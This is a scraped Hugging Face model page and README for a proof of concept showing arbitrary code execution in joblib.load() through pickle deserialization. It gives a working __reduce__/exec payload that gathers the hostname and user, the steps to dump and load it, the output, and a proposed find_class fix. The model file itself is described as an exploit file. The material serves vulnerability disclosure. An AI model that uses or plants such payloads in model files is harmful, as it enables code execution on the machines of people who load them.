Downloads · 30 days
0
X1lyS/joblib-rce-poc
joblib-rce-poc is a machine learning model from X1lyS. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
joblib.load() provides no safe deserialization mode. The NumpyUnpickler class inherits from pickle.Unpickler without overriding findclass, allowing arbitrary Python code execution during model loading. Unlike other ML…
Downloads · 30 days
0
Access
Public
Updated Jul 30, 2026
Repo size
499 B
Likes
0
Public
Click a slice to open those files.
.md3.6 KB · 64%
From the Hugging Face model README
| Field | Value |
|---|---|
| File | pretrained_model.joblib |
| Size | 499 bytes |
| SHA256 | d7324d8bcf812e67c9f7d65895f79ba697fca6672bf92f7ce81d6d2dbfe25a1e |
| Format | joblib (pickle protocol 4 + joblib compression header) |
| Affected | joblib >= 0.10.0 (all versions), through 1.6.dev0 |
| CWE | CWE-502: Deserialization of Untrusted Data |
| CVSS | 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
joblib.load() provides no safe deserialization mode. The NumpyUnpickler class inherits from pickle._Unpickler without overriding find_class, allowing arbitrary Python code execution during model loading. Unlike other ML frameworks (PyTorch weights_only=True, Keras safe_mode=True, NumPy allow_pickle=False), joblib has zero runtime protection — only a docstring warning.
pip install joblib # any version
import joblib
class MaliciousPayload:
def __reduce__(self):
return (exec, ("""
import os, json
info = {
'rce': True,
'hostname': os.uname().nodename,
'user': os.environ.get('USER', '?'),
}
with open('/tmp/joblib_rce_demo.txt', 'w') as f:
json.dump(info, f, indent=2)
""",))
joblib.dump(MaliciousPayload(), "malicious.joblib")
import joblib
joblib.load("malicious.joblib") # No warning, no prompt → RCE
cat /tmp/joblib_rce_demo.txt
# {"rce": true, "hostname": "victim-host", "user": "victim"}
The victim's machine executes arbitrary Python code with no warning, prompt, or opt-in flag. This file (pretrained_model.joblib) demonstrates the exploit by writing a harmless marker file, but the same technique can exfiltrate SSH keys, implant backdoors, or execute reverse shells.
joblib/numpy_pickle_utils.py:20:
Unpickler = pickle._Unpickler # C implementation, unrestricted
joblib/numpy_pickle.py:404-437 — NumpyUnpickler extends unrestricted Unpickler with no find_class override:
class NumpyUnpickler(Unpickler): # Unpickler = pickle._Unpickler
def __init__(self, filename, file_handle, ...):
Unpickler.__init__(self, self.file_handle)
# NOTE: find_class is NEVER overridden here
| Framework | Safe Loading | joblib |
|---|---|---|
| PyTorch | torch.load(weights_only=True) | No equivalent |
| Keras | load_model(safe_mode=True) | No equivalent |
| NumPy | np.load(allow_pickle=False) (default) | No equivalent |
| Transformers | trust_remote_code=False | No equivalent |
Override find_class in NumpyUnpickler to restrict allowed modules:
class NumpyUnpickler(Unpickler):
ALLOWED_MODULES = {'numpy', 'numpy._core.multiarray', 'builtins'}
BLOCKED_NAMES = {'exec', 'eval', '__import__', 'open', 'compile'}
def find_class(self, module, name):
if module not in self.ALLOWED_MODULES or name in self.BLOCKED_NAMES:
raise pickle.UnpicklingError(f"Blocked: {module}.{name}")
return super().find_class(module, name)